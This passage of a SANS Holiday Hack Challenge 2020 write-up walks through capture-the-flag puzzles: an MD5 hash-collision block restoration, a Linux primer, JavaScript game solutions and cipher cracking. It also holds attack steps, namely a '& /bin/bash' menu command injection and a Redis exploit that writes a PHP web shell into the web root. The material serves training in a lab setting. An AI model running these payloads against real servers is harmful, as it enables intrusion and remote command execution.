  • 25. SANS HHC: Challenge and Terminal Assessment Report 2.13 Objective 11b – Naughty/Nice List with Blockchain Investigation Part 2 In this final challenge, we are tasked with finding a manipulated block for which a hash collision has been generated and restoring that block to it’s original state. We are given the following hints to help us along the way: • Blockchain … Chaining - A blockchain works by "chaining" blocks together - each new block includes a hash of the previous block. That previous hash value is included in the data that is hashed - and that hash value will be in the next block. So there's no way that Jack could change an existing block without it messing up the chain… • Blockchain Talk – Qwerty Petabyte is giving a talk about blockchain tomfoolery. • Block Investigation – The idea that Jack could somehow change the data in a block without invalidating the whole chain just collides with the concept of hashes and blockchains. While there’s no way it could happen, maybe if you look at the block that seems like it got changed, it might help. • Unique Hash Collision – If Jack was somehow able to change the contents of the block AND the document without changing the hash… the would require a very UNIque hash COLLision. • Imposter Block Event – Shinny Upatree swears that he doesn’t remember writing the contents of the document found in that block. Maybe looking closely at the documents, you might find something interesting. • Minimal Changes – Apparently Jack was able to change just 4 bytes in the block to completely change everything about it. It’s like some sort of evil game to him. • Given in dialog – the block we are looking for has the highest nice score you can have of After reviewing all the material we have available as part of this challenge, there are a few things we should consider. First, as we are told that this a UniCOLL collision has been performed, we are probably looking at only two bytes that have been changed either by +1 or -1 in order to change the content of the whole block. Second, the other two bytes are probably in a random data in the block, so we are really looking for two meaningful changes. Third, based on the information, one is probably in the block data itself and one is in the document. Finally we are told in dialog with Tinsel Upatree that Jack Frost has the highest possible nice score which is way over 4,294,967,395. Let’s use the Python interpreter to the load the chain and search for a block with a score over 1,000,000 because we have to actually find the modified block before we can start investigating.
  • 26. SANS HHC: Challenge and Terminal Assessment Report It looks like our bad block is at index 1010 in the Python list and has the block index of 129459. Looking over the block we notice some strange things that may indicate where the changes have been made. Those changes are the score may have been overflowed, perhaps by changing one bit. Also, the sign is nice. It probably should be naughty considering who we are dealing with. Both of those could potentially be changed by only changing one bit or byte . So right now there are two potential candidates for changes in the block, the score and the naughty/nice sign. A definite third candidate based on hints should be in one of the documents. The second document which appears to be a PDF document is probably likely. The first document looks like junk after dumping it and looking for meaningful data. Let’s dump the second document and look through it to see if we see anything odd. When looking through the dumped document in a hex editor, we see that there appears to be two paths through the document in the first object (Catalog). The Catalog object can either refer to the second or third object and each object has different paths through the document depending on whether the value of Pages is 2 0 or 3 0 If the value is two we get this content: >>> import naughty_nice as nn >>> chain = nn.Chain(load=True) >>> blocks = chain.blocks >>> for i in range(0, len(blocks)): ... if blocks[i].score > 100000: ... print("Index: ", i) ... print(blocks[i].index) ... Index: 1010 129459 f = open("document.pdf","wb") f.write(blocks[1010].data[1]['data']) f.close() 1 0 obj <</Type/Catalog/_Go_Away/Santa/Pages 2 0 R ... 2 0 obj <</Type/Pages/Count 1/Kids[23 0 R]>> endobj 3 0 obj <</Type/Pages/Count 1/Kids[15 0 R]>> endobj “Jack Frost is the kindest, bravest, warmest, most wonderful being I’ve ever known in my life.” – Mother Nature “Jack Frost is the bravest, kindest, most wonderful, warmest being I’ve ever known in my life.” – The Tooth Fairy “Jack Frost is the warmest, most wonderful, bravest, kindest being I’ve ever known in my life.” – Rudolph of the Red Nose “Jack Frost is the most wonderful, warmest, kindest, bravest being I’ve ever known in my life.” – The Abominable Snowman With acclaim like this, coming from folks who really know goodness when they see it, Jack Frost should undoubtedly be awarded a huge number of Naughty/Nice points. Shinny Upatree 3/24/2020
  • 27. SANS HHC: Challenge and Terminal Assessment Report If the value is three we get this content: The good news is that we now know the two meaningful bytes that have been changed thanks to Shinny Upatree’s report and looking at the internals of the PDF document. The first bytes is the naughty/nice sign. Jack Frost clearly should have the maximum naughty score for kicking that wombat. The second is the byte that controls which content is displayed in the PDF document. Each was either incremented or decremented by one. With the rules of UniCOLL it also means that we must modify the bytes that is 0x40 bytes forward from the one modified. Let’s dump the block_data so we can hash and edit the data in a hex editor. If we hash this dumped file out we find it matches the hash in the Data Hash to Sign: field of the block: This is good, this means we can test if the bytes we change will change the hash. Viewing the file in a hex editor we find that the naughty nice sign is located at offset 0x49 and we must subtract 1 from the byte to change the sign back to naughty. This also means we must add 1 to the byte at 0x89. The second byte is located at 0x109 and we must add 1 to this to change the PDF catalog objective from 2 0 to 3 0. Because we are adding to this byte, we must also subtract from the byte located at 0x149. The table below show the changes that must be made. And the image below that shows an xxd dump of the changes after they have been made. 0x49 = (0x31 → 0x30) 0x89 = (0xD6 → 0xD7) 0x109 = (0x32 → 0x33) 0x149 = (0x1C → 0x1B) “Earlier today, I saw this bloke Jack Frost climb into one of our cages and repeatedly kick a wombat. I don’t know what’s with him… it’s like he’s a few stubbies short of a six-pack or somethin’. I don’t think the wombat was actually hurt… but I tell ya, it was more ‘n a bit shook up. Then the bloke climbs outta the cage all laughin’ and cacklin’ like it was some kind of bonza joke. Never in my life have I seen someone who was that bloody evil…” Quote from a Sidney (Australia) Zookeeper I have reviewed a surveillance video tape showing the incident and found that it does, indeed, show that Jack Frost deliberately traveled to Australia just to attack this cute, helpless animal. It was appalling. I tracked Frost down and found him in Nepal. I confronted him with the evidence and, surprisingly, he seems to actually be incredibly contrite. He even says that he’ll give me access to a digital photo that shows his “utterly regrettable” actions. Even more remarkably, he’s allowing me to use his laptop to generate this report – because for some reason, my laptop won’t connect to the WiFi here. He says that he’s sorry and needs to be “held accountable for his actions.” He’s even said that I should give him the biggest Naughty/Nice penalty possible. I suppose he believes that by cooperating with me, that I’ll somehow feel obliged to go easier on him. That’s not going to happen… I’m WAAAAY smarter than old Jack. Oh man… while I was writing this up, I received a call from my wife telling me that one of the pipes in our house back in the North Pole has frozen and water is leaking everywhere. How could that have happened? Jack is telling me that I should hurry back home. He says I should save this document and then he’ll go ahead and submit the full report for me. I’m not completely sure I trust him, but I’ll make myself a note and go in and check to make absolutely sure he submits this properly. Shinny Upatree 3/24/2020 >>> f = open("block", "wb") >>> f.write(blocks[1010].block_data()) >>> f.close() Data Hash to Sign: 347979fece8d403e06f89f8633b5231a $ md5sum block 347979fece8d403e06f89f8633b5231a
  • 28. SANS HHC: Challenge and Terminal Assessment Report We can now hash the file again to make sure that the changes made to the file have not changed the hash. Now that we have verified the collision and changed the block to its original value, there is one more step. The SHA256 given in the objective is actually of the signed block data and not the block data. All this means in that the hex coded signature needs to be added to the end of this file or the signed block needs to be dumped and the appropriate bytes changed in that file. Let’s go ahead and dump the signed block and use the same process above to change the appropriate bytes. This final sha256sum is the answer to Objective 11b and can be submitted to the objective on the badge to complete all objectives and challenges and to earn the achievement Naughty/Nice List with Blockchain Investigation Part 2. Data Hash to Sign: 347979fece8d403e06f89f8633b5231a $ md5sum block 347979fece8d403e06f89f8633b5231a >>> f = open("signed_block", "wb") >>> f.write(blocks[1010].block_data_signed()) >>> f.close() >>> from Crypto.Hash import MD5, SHA256 >>> hash = SHA256.new() >>> hash.update(chain.blocks[1010].block_data_signed()) >>> hash.hexdigest() '58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f' ... # hash of dump signed block in file $ sha256sum signed_block 58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f signed_block ... # sha256sum of signed_block in file after changes $ sha256sum signed_block fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb signed_block
  • 29. SANS HHC: Challenge and Terminal Assessment Report 2.14 End Game All of the technical challenges have been completed, but there is still one more thing that needs to be done. All of the final challenges have required you to be Santa. In order to unlock the final achievement, you must become yourself, enter Santa’s office and go the back balcony. When this done, you receive the achievement You Won! and gain access to the final piece of the narrative. 3 Terminals 3.1 Kringle Kiosk This first terminal presents us with our challenge as part of the motd that is displayed upon opening the terminal windows. The challenge is to escape to the /bin/bash shell from the menu. We are also given the following hint: • Command Injection – There’s probably some kind of command injection vulnerability in the menu terminal. KringleCon back at the castle, set the stage... But it's under construction like my GeoCities page. Feel I need a passport exploring on this platform - Got half floors with back doors provided that you hack more! Heading toward the light, unexpected what you see next: An alternate reality, the vision that it reflects. Mental buffer's overflowing like a fast food drive-thru trash can. Who and why did someone else impersonate the big man? You're grepping through your brain for the portrait's "JFS" "Jack Frost: Santa," he's the villain who had triggered all this mess! Then it hits you like a chimney when you hear what he ain't saying: Pushing hard through land disputes, tryin' to stop all Santa's sleighing. All the rotting, plotting, low conniving streaming from that skull. Holiday Hackers, they're no slackers, returned Jack a big, old null!
  • 30. SANS HHC: Challenge and Terminal Assessment Report By entering & /bin/bash in the menu after selecting item four we can escape to BASH. The achievement Kringle Kiosk is awarded for completing this terminal: 3.2 Unescape Tmux In this second terminal, Pepper Minstix has lost his Tmux session and must reconnect. This is a fairly easy terminal to solve when given the hint, which links to a Tmux command cheat sheet. • Tmux Cheat Sheet – There’s a handy tmux reference available at https://tmuxcheatsheet.com/! Running the following commands allows the user to reconnect to the disconnected Tmux session and find the elf’s Green Cheek: The achievement Unescape Tmux is awarded for completing this terminal: 3.3 Linux Primer The Linux Primer terminal is a simple walk through of the Linux CLI and command Linux commands in Bash. The terminal asks you to complete task using Linux commands and moves you to the step once you have correctly entered a command. The challenge consists of series of 21 tasks you must complete. The entirety of the challenge including correct commands are listed below: 1. Perform a directory listing of your home directory to find a munchkin and retrieve a lollipop! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Welcome to the North Pole! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1. Map 2. Code of Conduct and Terms of Use 3. Directory 4. Print Name Badge 5. Exit ... Enter choice [1 - 5] 4 Enter your name (Please avoid special characters, they cause some weird errors)...& /bin/bash ___ _ / __| _ _ __ __ ___ ___ ___ | | __ | +| | / _| / _| / -_) (_-< (_-< |_| |___/ _,_| __|_ __|_ ___| /__/_ /__/_ _(_)_ _|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """ | "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' ... shinny@407825a33647:~$ Can you help me? I was playing with my birdie (she's a Green Cheek!) in something called tmux, then I did something and it disappeared! Can you help me find her? We were so attached!! elf@22396929e298:~$ tmux ls 0: 1 windows (created Mon Dec 21 19:15:41 2020) [80x24] elf@22396929e298:~$ tmux a ... You found her! Thank you!!!
  • 31. SANS HHC: Challenge and Terminal Assessment Report 2. Now find the munchkin inside the munchkin. 3. Great, now remove the munchkin in your home directory. 4. Print the present working directory using a command. 5. Good job but it looks like another munchkin hid itself in you home directory. Find the hidden munchkin! 6. Excellent, now find the munchkin in your command history. 7. Find the munchkin in your environment variables. 8. Next, head into the workshop. 9. A munchkin is hiding in one of the workshop toolboxes. Use "grep" while ignoring case to find which toolbox the munchkin is in. 10. A munchkin is blocking the lollipop_engine from starting. Run the lollipop_engine binary to retrieve this munchkin. elf@d2c08765bba4:~$ dir HELP munchkin_19315479765589239 workshop elf@d2c08765bba4:~$ cat munchkin_19315479765589239 munchkin_24187022596776786 elf@d2c08765bba4:~$ rm munchkin_19315479765589239 elf@d2c08765bba4:~$ pwd /home/elf elf@d2c08765bba4:~$ ls -a . .. .bash_history .bash_logout .bashrc .munchkin_5074624024543078 .profile HELP workshop elf@d2c08765bba4:~$ history 1 echo munchkin_9394554126440791 ... elf@d2c08765bba4:~$ printenv ... z_MUNCHKIN=munchkin_20249649541603754 ... elf@d2c08765bba4:~$ cd workshop/ elf@d2c08765bba4:~/workshop$ ls toolbox_0.txt toolbox_136.txt toolbox_174.txt toolbox_211.txt toolbox_25.txt toolbox_288.txt toolbox_325.txt toolbox_363.txt ... elf@d2c08765bba4:~/workshop$ grep -i munchkin * grep: electrical: Is a directory toolbox_191.txt:mUnChKin.4056180441832623
  • 32. SANS HHC: Challenge and Terminal Assessment Report 11. Munchkins have blown the fuses in /home/elf/workshop/electrical. cd into electrical and rename blown_fuse0 to fuse0. 12. Now, make a symbolic link (symlink) named fuse1 that points to fuse0 13. Make a copy of fuse1 named fuse2. 14. We need to make sure munchkins don't come back. Add the characters "MUNCHKIN_REPELLENT" into the file fuse2. 15. Find the munchkin somewhere in /opt/munchkin_den. 16. Find the file somewhere in /opt/munchkin_den that is owned by the user munchkin. 17. Find the file created by munchkins that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/munchkin_den. 18. List running processes to find another munchkin. 19. The 14516_munchkin process is listening on a tcp port. Use a command to have the only listening port display to the screen. elf@d2c08765bba4:~/workshop$ chmod a+x lollipop_engine elf@d2c08765bba4:~/workshop$ ./lollipop_engine elf@a4d187c81ba3:~/workshop$ cd ~/workshop/electrical/ elf@a4d187c81ba3:~/workshop/electrical$ ls blown_fuse0 elf@a4d187c81ba3:~/workshop/electrical$ mv blown_fuse0 fuse0 elf@a4d187c81ba3:~/workshop/electrical$ ln -s fuse0 fuse1 elf@a4d187c81ba3:~/workshop/electrical$ cp fuse1 fuse2 elf@a4d187c81ba3:~/workshop/electrical$ echo "MUNCHKIN_REPELLENT" > fuse2 elf@a4d187c81ba3:/opt/munchkin_den$ find . -name munchkin elf@a4d187c81ba3:/opt/munchkin_den$ find . -user munchkin ./apps/showcase/src/main/resources/template/ajaxErrorContainers/ niKhCnUm_9528909612014411 elf@a4d187c81ba3:/opt/munchkin_den$ find . -size +108k -size -110k ./plugins/portlet-mocks/src/test/java/org/apache/m_u_n_c_h_k_i_n_2579728047101724 elf@a4d187c81ba3:/opt/munchkin_den$ ps -ef UID PID PPID C STIME TTY TIME CMD init 1 0 0 19:48 pts/0 00:00:00 /usr/bin/python3 /usr/local/bin/tmuxp load ./mysession.yaml elf 20439 20434 0 20:01 pts/2 00:00:00 /usr/bin/python3 /14516_munchkin elf 21519 189 0 20:01 pts/3 00:00:00 ps -ef elf@a4d187c81ba3:/opt/munchkin_den$ netstat -an | grep LISTEN tcp 0 0 0.0.0.0:54321 0.0.0.0:* LISTEN unix 2 [ ACC ] STREAM LISTENING 358877793 /tmp/tmux-1050/default
  • 33. SANS HHC: Challenge and Terminal Assessment Report 20. The service listening on port 54321 is an HTTP server. Interact with this server to retrieve the last munchkin. 21. Your final task is to stop the 14516_munchkin process to collect the remaining lollipops. Congratulations, you caught all the munchkins and retrieved all the lollipops! Type "exit" to close… Once you have successful entered all the Linux shell commands you are awarded the Linux Primer achievement. 3.4 The Elf Code The next terminal shows up as an arcade style cabinet located in the dining room. Upon opening the terminal the user is presented with instructions indicating that you must use JavaScript code to help the and elf retrieve lollipops from munchkins who have nabbed them. There are eight total levels with six normal levels and two bonus levels. Each level consists of a gameboard made up of a square grid. Your objective is to use code to move to lollipop and then to the exit. Along the way you may encounter switches which arm or disarm traps and munchkins who you must pacify by answering their question in the form of some sort of algorithm or sorted array, hash, or object. The levels also give the player certain constraints, such as the number of lines of code that can be used or the number of times certain functions can be called. Below are some JavaScript fragments that allow a player to complete each of the eight levels. The following hints are also given for the game: • Getting a Key Name – In JavaScript you can enumerate an object’s keys using keys, and filter the array using filter. • JavasScript Loops – Did you try the JavaScript primer? There’s a great section on looping. • Javascript Primer – Want to learn a useful language? JavaScript is a great place to start! You can also test out your code using a JavaScript playground. • Compressing JS – There are lots of ways to make your code shorter, but the number of elf command is key • Filtering Items – There’s got to be a way to filter for specific typeof items in an array. Maybe the teypof operator could also be useful? • Adding to Arrays - var array = [2,3,4]; array.push(1) doesn’t do QUITE what was intended... 1. In the first level, the player must program the elf to the end goal in no more than 2 lines of code and no more than 2 elf commands. elf@a4d187c81ba3:/opt/munchkin_den$ curl -X GET http://localhost:54321 elf@a4d187c81ba3:/opt/munchkin_den$ ps -ef | grep munchkin elf 20439 20434 0 20:01 pts/2 00:00:00 /usr/bin/python3 /14516_munchkin elf 25137 189 0 20:04 pts/3 00:00:00 grep --color=auto munchkin elf@a4d187c81ba3:/opt/munchkin_den$ kill -9 20439 elf@a4d187c81ba3:/opt/munchkin_den$ exit
  • 34. SANS HHC: Challenge and Terminal Assessment Report The solution to this problem is fairly simple. Move the elf to the left ten spaces and up ten spaces. The code shown meets the requirements of only two lines of code and two elf commands. 2. In the second level you must program the elf to the end goal in no more than 5 lines of code and no more than 5 elf command/function execution statements in your code. Using the lever requires the player to add 2 to the returned numeric value of running the function elf.get_lever(0) The solution to this second level is also fairly simple. Simply move left to the lever, get the value returned from the get_lever function, add two to that value, submit that value to the lever to deactivate the trap, move left four spaces and then up ten spaces. The code to accomplish this task is shown below: 3. The third level requires the player to program the elf to the end goal in no more than 4 lines of code and no more than 4 elf command/function execution statements in their code. elf.moveLeft(10) elf.moveUp(10) elf.moveLeft(6) elf.pull_lever(elf.get_lever(0)+2) elf.moveLeft(4) elf.moveUp(10)
  • 35. SANS HHC: Challenge and Terminal Assessment Report The solution to this problems means that instead of having the elf move by defining the number of directional functions to issue, we can no solve problems by telling the elf to move to a certain object in one command, and the directional movements are complete automatically. The code below solves the level using elf.moveTo(lollipop[n]) commands. 4. In the fourth level, you must begin to use more complex code. To solve this level, you must program the elf to the end goal in no more than 7 lines of code and no more than 6 elf command/function execution statements in your code. One of the interesting things about this game is that if you encounter a barrier but still have more moves to make in that direction, those moves are nullified. We can use this quark to our advantage to simplify a for loop that both meets the requirements and solves the problem. The solution is shown below: elf.moveTo(lollipop[0]) elf.moveTo(lollipop[1]) elf.moveTo(lollipop[2]) elf.moveUp(1) for(var i = 0; i < 3; i++) { elf.moveLeft(3) elf.moveUp(11) elf.moveLeft(3) elf.moveDown(11) }
  • 36. SANS HHC: Challenge and Terminal Assessment Report 5. In this fifth level, you will encounter you first munchkins. You will be required to ask the munchkin a question and return and answer. So you must program the elf to the end goal in no more than 10 lines of code and no more than 5 elf command/function execution statements in your code. You must also ask the munckin for information using elf.ask_much(0) and the elf will send you an array of numbers and strings similar to: [1, 3, "a", "b", 4] Return an array that contains only numbers from the array that the munchkin gives you. Adding to the statements that have already been used, you should now use a filter function on the array which compares each number to a truth statement, in this case, whether the object in an index is a number or not. If the object is a number, the Number.isInteger(num) function returns true and the object is added to the array that is return, if not, the object is excluded from the returned array. The solution to this level is shown below: 6. In this level you must program the elf to the end goal in no more than 15 lines of code and no more than 7 elf command/function execution statements in your code. There are actually two distinct solutions to this level after collecting the lollipops. The first involves activating the trap with the switch which the munchkin then falls into. In the second you answer the munchkins question which finding the value lollipop and returning the key of that value in a JSON object. Both solution are listed below: elf.moveTo(lollipop[1]) elf.moveTo(lollipop[0]) elf.tell_munch(elf.ask_munch(0).filter(num => Number.isInteger(num))) elf.moveUp(2)
  • 37. SANS HHC: Challenge and Terminal Assessment Report 7. Level seven is the first of two bonus levels. These levels are more complex than those levels needed as part of the core challenge. The goal of this level is to program the elf to the end goal in no more than 25 lines of code and no more than 10 elf command/function execution statements in the code. The solution to this is problem is tricky because it if the commands are given one at a time, then we have many more than 10 elf commands. One possible way around this is to use an array of function pointers. In this case we will create three arrays, one array is an array of function pointers, one array stores the index of function pointers in the order we want to execute them and one array stores the values passed to the functions. This allows us to shorten our code using a for loop. The other problem that must be solved is the munchkin question. To answer this question we must pass a function as the answer and that function must sum all numbers in the child arrays of a nested array. The solution to this problem is found below: //This algorithm is used to solve the level by using the lever for (var i = 0; i <= 3; i++) { elf.moveTo(lollipop[i]) } elf.moveTo(lever[0]) a = elf.get_lever(0) a.unshift("munchkins rule") elf.pull_lever(a) elf.moveDown(3) elf.moveLeft(6) elf.moveUp(3) //This algorithm is used to solve the level by answering the munchkins question for(var i = 0; i<=3; i++) { elf.moveTo(lollipop[i]) } elf.moveTo(munchkin[0]) var p = elf.ask_munch(0) for (key in p) { if (p[key] == "lollipop") { elf.tell_munch(key); } } elf.moveUp(2)
  • 38. SANS HHC: Challenge and Terminal Assessment Report 8. This final bonus level represents the most complex level yet. The player must use everything they have learned up until this point and more. The player must program the elf to the end goal in no more than 40 lines of code and no more than 10 elf command/function execution statements in the code. There are also two additional problems to solve. The first is that each lever must be passed the sum of the current switch and every previous flipped lever as well. The second problem is that the munchkin will return a randomized array containing an array of JSON objects. The player must return the key name associated with the value lollipop found in one of the array. The solution to this level contains multiple elements that have been previously used. We will use another set of arrays containing function pointers, function indexes, and function values to compress the code. We will also build a summing function into the loop and another function that iterates through an array of JSON objects looking for the value lollipop and returning the key name associated with that value. The solution to this level is found below: function sumArr(x) { var sum = 0; for (var i = 0; i < x.length; i++) { arr = x[i].filter(num => Number.isInteger(num)); for(var j = 0; j < arr.length; j++) { sum = sum + arr[j]; } } return sum; } var p = [elf.moveUp, elf.moveDown, elf.moveLeft, elf.moveRight, elf.get_lever, elf.pull_lever, elf.tell_munch] var f = [1, 4, 5, 2, 4, 5, 0, 4, 5, 3, 4, 5, 1, 4, 5, 2, 4, 5, 0, 4, 5, 3, 0, 2, 6,0] var a = [1, 0, 0, 2, 1, 1, 3, 2, 2, 4, 3, 3, 5, 4, 4, 6, 5, 5, 7, 6, 6, 8, 2, 4, sumArr,2] for (var i = 0; i < f.length; i++) { p[f[i]](a[i]) }
  • 39. SANS HHC: Challenge and Terminal Assessment Report Completing level completes the entire challenge/game. There are two achievement associated with this terminal challenge. The first is given for completing the normal levels and is called Elf Coder, the second is given from completing the bonus levels and is called Expert Elf Coder. 3.5 33.6kbps In this challenge, located in the kitchen, you are asked by Fizzy Shortstack to help him remember the series of sounds that are made by a modem. This is used to update the Christmas lights around the castle. Fizzy Shortstack can speak modem but doesn’t remember the sequence. You are given and audio clip of the modem connection sequence and a clickable note those show major groups of sounds made by the client. You must click each sound in the correct order and at the correct time to complete the connection after dialing the right number on the virtual phone.. This terminal challenge is fairly easy for those of us who would dial up AOL on Friday night after curfew to chat and play multiplayer games. A picture of the interface is shown below along with the correct sequence of sounds. The correct sequence of sounds is shown below: Dial Number: 756-8347 1. baa DEE brrrr (in response to the first beep) 2. aahhhh (in response to the second beep) function findLolli(x) { for (var i = 0; i <= x.length; i++) { p = x[i]; for (key in x[i]) { if (p[key] == "lollipop") { return key; } } } } var sum = 0 var p = [elf.moveUp, elf.moveDown, elf.moveLeft, elf.moveRight, elf.get_lever, elf.pull_lever, elf.tell_munch] var f = [3, 4, 0, 2, 4, 0, 3, 4, 0, 2, 4, 0, 3, 4, 0, 2, 4, 0, 6, 3] var a = [1, 0, 2, 3, 1, 3, 5, 2, 3, 7, 3, 3, 9, 4, 3, 11, 5, 3, findLolli, 11] for (var i = 0; i < f.length; i++) { if (f[i] != 4) p[f[i]](a[i]) else { sum = sum + p[f[i]](a[i]) p[5](sum) } }
  • 40. SANS HHC: Challenge and Terminal Assessment Report 3. wewewwwrrrwwwrr (simultaneous with warbling noice after the second beep) 4. beDURRdunditty (In response to a series of beeps) 5. SCHHRRHHRTHRTR (simultaneous with the white noise after the final series of beeps) After completing this terminal correctly you are awarded the 33.6 Kbps achievement. 3.6 Redis Bug Hunt The Redis Bug Hunt terminal is also located in the kitchen along with the 33.6kbps challenge. In this challenge, access to a web server has been lost. The only remaining access is a web page that acts as a command front end to a Redis service. Commands can be directly issued to the Redis server through this maintenance page. The challenge is to get access (view) the index.php page and find a bug. We are also given the following hint which links to web site explaining how to perform a Redis RCE: • Redis RCE – This is kid of what we’re trying to do - https://book.hacktricks.xyz/pentesting/6379- pentesting-redis The first step in the process is finding out whether or not Redis is running on the localhost. The following command checks for the Redis service running on port 6379. We find the service is indeed running on the local system. Let’s pull down the maintenance page to see what we can do with it. It looks like we can use the HTTP parameter cmd to issues commands to Redis. This could be used to directly write files to the web root and allow us to access commands, but to make things easier, lets see if we can find a way to directly interact with Redis. Displaying the Redis configuration yields the password. Now we can interact directly with the Redis service and write a database file in the web root containing PHP code which then can retrieve the index.php page. Finally, we can retrieve the test.php file we have written with curl and have the PHP code echo the index.php page for us. player@a7c555de6296:~$ netstat -an | grep LISTEN tcp 0 0 127.0.0.1:6379 0.0.0.0:* LISTEN tcp6 0 0 :::80 :::* LISTEN player@a7c555de6296:~$ curl http://localhost/maintenance.php ERROR: 'cmd' argument required (use commas to separate commands); eg: curl http://localhost/maintenance.php?cmd=help curl http://localhost/maintenance.php?cmd=mget,example1 player@a7c555de6296:~$ Running: redis-cli --raw -a '<password censored>' 'config' 'get' '*' ... R3disp@ss ... player@b2cb35d286e8:~$ redis-cli -a 'R3disp@ss' 127.0.0.1:6379> config set dir /var/www/html 127.0.0.1:6379> config set dbfilename test.php 127.0.0.1:6379> set test "<?php echo shell_exec($_REQUEST['cmd']) ?>" 127.0.0.1:6379> save 127.0.0.1:6379> exit
  • 41. SANS HHC: Challenge and Terminal Assessment Report After retrieving the index.php and viewing the bug (not quite the bug that was expected), we are awarded the Redis Investigation achievement. 3.7 Speaker UNPrep This terminal challenge is located on the balcony of the talks floor and solving the part of this challenge is necessary to open the speaker unpreparedness room. The challenge consists of a series of three executables for which you have to find the password to in order to open the door, turn on the lights, and enable the vending machines. Finding the password for each executable increases in difficulty. We are given the following hints for the first executable which opens the door. • Strings in Binary Files – The strings command is common in Linux and available in Windows as part of SysInternals. Solving this challenge turns out to be fairly simple given that information. Running the following commands on the executable results in the password being displayed. The door is opened and the first of three achievements, Speaker Door Opened, is earned. The second executable turns on the lights in the speaker unpreparedness room and the password is not located in plaintext in the executable. The hint given provides direction. • Letting a Program Decrypt for You – While you have to use the lights program in /home/elf/ to turn the lights on, you can delete parts in /home/elf/lab/. player@b2cb35d286e8:~$ curl -XGET http://localhost/test.php?cmd=cat%20index.php -- output test.txt ... # We found the bug!! # # / # .-/. # / () () # /~---~.-~^-. # .-~^-./ | ---. # { | } # .-~ | /~-. # / A / # / / # elf@bfa9d05540c5 ~ $ ls door lab lights lights.conf vending-machines vending-machines.json elf@bfa9d05540c5 ~ $ strings -n 12 door ... That would have opened the door! Be sure to finish the challenge in prod: And don't forget, the password is "Op3nTheD00r" Beep boop invalid password ... elf@bfa9d05540c5 ~ $ ./door You look at the screen. It wants a password. You roll your eyes - the password is probably stored right in the binary. There's gotta be a tool for this... What do you enter? > Op3nTheD00r Checking...... Door opened!
  • 42. SANS HHC: Challenge and Terminal Assessment Report Examining the executable, we find an associated configuration file, shown below: Running the executable, we see the name from the configuration file is displayed. Perhaps, given the hint, the password could be copied to the username field and the encrypted password may be decrypted and displayed for us. Change the configuration file to copy the password to the username field (this must be done in the lab folder as the user does not have permission to change the main configuration file.) Indeed, when the program is run we see the plaintext password displayed in the Welcome back, <user> field. After obtaining the correct password it can be used to turn the lights on by running the lights executable in the home folder (not the ~/lab folder). Running the executable with the correct password earns us the second achievement, Speaker Lights On. This takes us to the final challenge, turning on the vending machine. The existing configuration file contains an encrypted password “LVEdQPpBwr” and we are also given the following hint: • Lookup Table – For polyalphabetic ciphers, if you have control over inputs and visibility of outputs, lookup tables can save the day. password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124 name: elf-technician password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124 name: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124 elf#73c3e01b94bd ~/lab $ ./lights ... The terminal just blinks: Welcome back, Computer-TurnLightsOn ... elf@caedd5542497 ~ $ ./lights The speaker unpreparedness room sure is dark, you're thinking (assuming you've opened the door; otherwise, you wonder how dark it actually is) You wonder how to turn the lights on? If only you had some kind of hin--- >>> CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lights.conf ---t to help figure out the password... I guess you'll just have to make do! The terminal just blinks: Welcome back, elf-technician What do you enter? > Computer-TurnLightsOn Checking...... Lights on!
  • 43. SANS HHC: Challenge and Terminal Assessment Report Hmm. It looks like we may have something like a Vigenere or other polyalphabetic substitution cipher. Bushy Evergreen suggests using simple repeating characters to test the cipher such as AAAAAAAAAAA. We can do this by deleting the vending- machines.json configuration file in the ./lab directory and then running the program, which then prompts us for the information to create a new configuration file. We can use this to our advantage in a chosen-plaintext attack. Using different inputs let’s learn something about the cipher. 1. Start with: From this we learn that the pattern is cyclic, i.e. it repeats every n+8 characters so the substitution for A in the first position will also match the ninth position, seventeenth position, etc. This makes figuring out the key much easier. 2. Next: From this test we learn that this each letter does not consist of a simple shift cipher as we would expect B to map to Y or W in the first position. It could be a Vigenere or unique Atbash key unique for each position repeating after eight characters. Let’s try CCCCCCCCCCCCCC and see if we can get any additional information. 3. Next try Cs In the process of poking at the algorithm, we have inadvertently discovered our first plaintext letter. The original password has a capital L in position 1 and CCC… has an L in position one. This means the first character of the password must be C. Perhaps, just given this information we can guess some or all of the password. This is a holiday themed event so might the password be Candycanes considering that the first letter and the link matches? Let’s try and see if we can shortcut having to brute force the key or complete entire lookup tables. elf@fdc4c90029a1 ~/lab $ ./vending-machines ... ALERT! ALERT! Configuration file is missing! New Configuration File Creator Activated! Please enter the name > test Please enter the password > AAAAAAAAAAAAAAAA ... elf@fdc4c90029a1 ~/lab $ ls door lights lights.conf vending-machines vending-machines.json elf@fdc4c90029a1 ~/lab $ cat vending-machines.json { "name": "test", "password": "XiGRehmwXiGRehmw" Input: AAAAAAAAAAAAAAAA Output: XiGRehmwXiGRehmw Input: BBBBBBBBBBBBBBBB Output: DqTpKv7fDqTpKv7f Input: CCCCCCCCCCCCCCCC Output: Lbn3UP9WLbn3UP9W Input: Candycanes Output: LVEdQEpBw5 Pass: LVEdQPpBwr Matching: Candy?ane?
